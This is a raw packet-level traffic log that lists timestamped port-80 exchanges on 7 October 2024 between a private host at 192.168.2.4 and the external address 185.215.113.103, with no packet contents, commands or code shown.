Oct 7, 2024 03:23:10.199001074 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199008942 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199021101 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199052095 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199065924 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199068069 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199084997 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199085951 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199100971 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199106932 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199115992 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199127913 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199131966 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199146032 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199146986 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199172974 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199213028 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199225903 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199240923 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199254990 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199260950 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199268103 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199278116 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199282885 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199294090 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199300051 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199311972 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199316025 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199330091 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199331045 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199342966 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199345112 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199358940 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199359894 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199382067 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199399948 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199409962 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199419975 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199424982 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199431896 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199440002 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199448109 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199455976 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199462891 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199470997 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199479103 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199486017 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199495077 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199500084 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199512959 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199515104 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199528933 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199532986 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199543953 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199557066 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199579000 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199610949 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199626923 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199640036 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199644089 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199666023 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199680090 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199691057 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199704885 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199718952 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199732065 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199733019 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199747086 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199749947 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199763060 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199764013 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199776888 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199786901 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199800968 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199809074 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199815035 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199829102 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199834108 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199851990 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199861050 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199868917 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.199876070 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199888945 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.199906111 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200006962 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200021982 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200037956 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200052977 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200052977 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200067043 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200069904 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200079918 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200083017 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200103045 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200150013 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200164080 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200165987 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200181007 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200190067 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200197935 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200201035 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200212955 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200216055 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200227976 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200237036 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200243950 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200253010 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200258017 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200268984 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200273037 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200287104 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200306892 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200311899 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200325966 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200340986 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200350046 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200355053 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200361967 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200370073 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200380087 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200383902 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200396061 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200398922 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200412989 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200413942 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200421095 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200429916 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200443029 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200444937 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200459003 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200465918 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200475931 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200488091 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200490952 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200505018 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200516939 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200520039 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200534105 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200536013 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200547934 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200552940 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200565100 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200573921 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200587034 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200596094 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200599909 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200623035 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200649023 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200773001 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200789928 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200804949 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200812101 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200820923 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200824976 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200839043 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200850010 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200879097 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200895071 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200910091 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200923920 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200925112 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200939894 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200941086 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200957060 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200972080 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200972080 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200972080 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200989008 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.200999022 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.200999022 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201003075 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201010942 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201018095 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201025963 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201031923 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201040983 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201046944 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201056004 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201061964 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201071024 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201087952 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201364040 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201379061 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201394081 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201407909 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201432943 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201555014 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201569080 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201585054 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201595068 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201606989 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201617002 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201622009 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201636076 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201637983 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201649904 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201659918 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201664925 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201678038 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201678991 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201693058 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201697111 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201705933 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201706886 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201721907 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201726913 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201735973 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201750040 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201751947 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201757908 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.201786041 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.201797009 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.214761972 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.214792013 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.214812040 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.214850903 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.214854956 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.214869022 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.214870930 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.214896917 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.214914083 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.214920998 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.214941978 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.214957952 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.214960098 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.214977026 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.214977980 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.214992046 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.214993954 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215017080 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215017080 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215032101 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215034008 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215063095 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215073109 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215079069 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215090036 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215095997 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215116024 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215128899 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215136051 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215179920 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215181112 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215198994 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215217113 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215217113 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215234995 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215235949 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215245962 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215276003 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215347052 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215373993 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.215398073 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.215411901 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.232747078 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232801914 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232815981 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232820988 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.232830048 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232845068 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232846022 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.232861996 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.232887983 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.232923985 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232939005 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232954025 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232959032 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.232968092 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232976913 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.232983112 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.232985973 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233004093 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233006954 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233017921 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233021021 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233036041 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233037949 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233050108 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233057976 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233064890 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233078957 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233078957 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233091116 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233109951 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233138084 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233153105 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233166933 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233174086 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233182907 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233195066 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233197927 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233206987 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233213902 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233222961 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233230114 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.233233929 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233244896 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.233263969 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271354914 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271419048 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271435022 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271450996 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271461010 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271491051 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271500111 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271539927 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271548986 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271580935 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271589994 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271614075 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271619081 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271646023 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271658897 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271686077 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271693945 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271724939 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271739006 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271755934 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271763086 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271790028 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271802902 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271822929 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271828890 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271852016 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271868944 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271892071 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271899939 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.271946907 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.271950006 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.272011042 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.272012949 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.272047043 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.272053003 CEST	49810	80	192.168.2.4	185.215.113.103
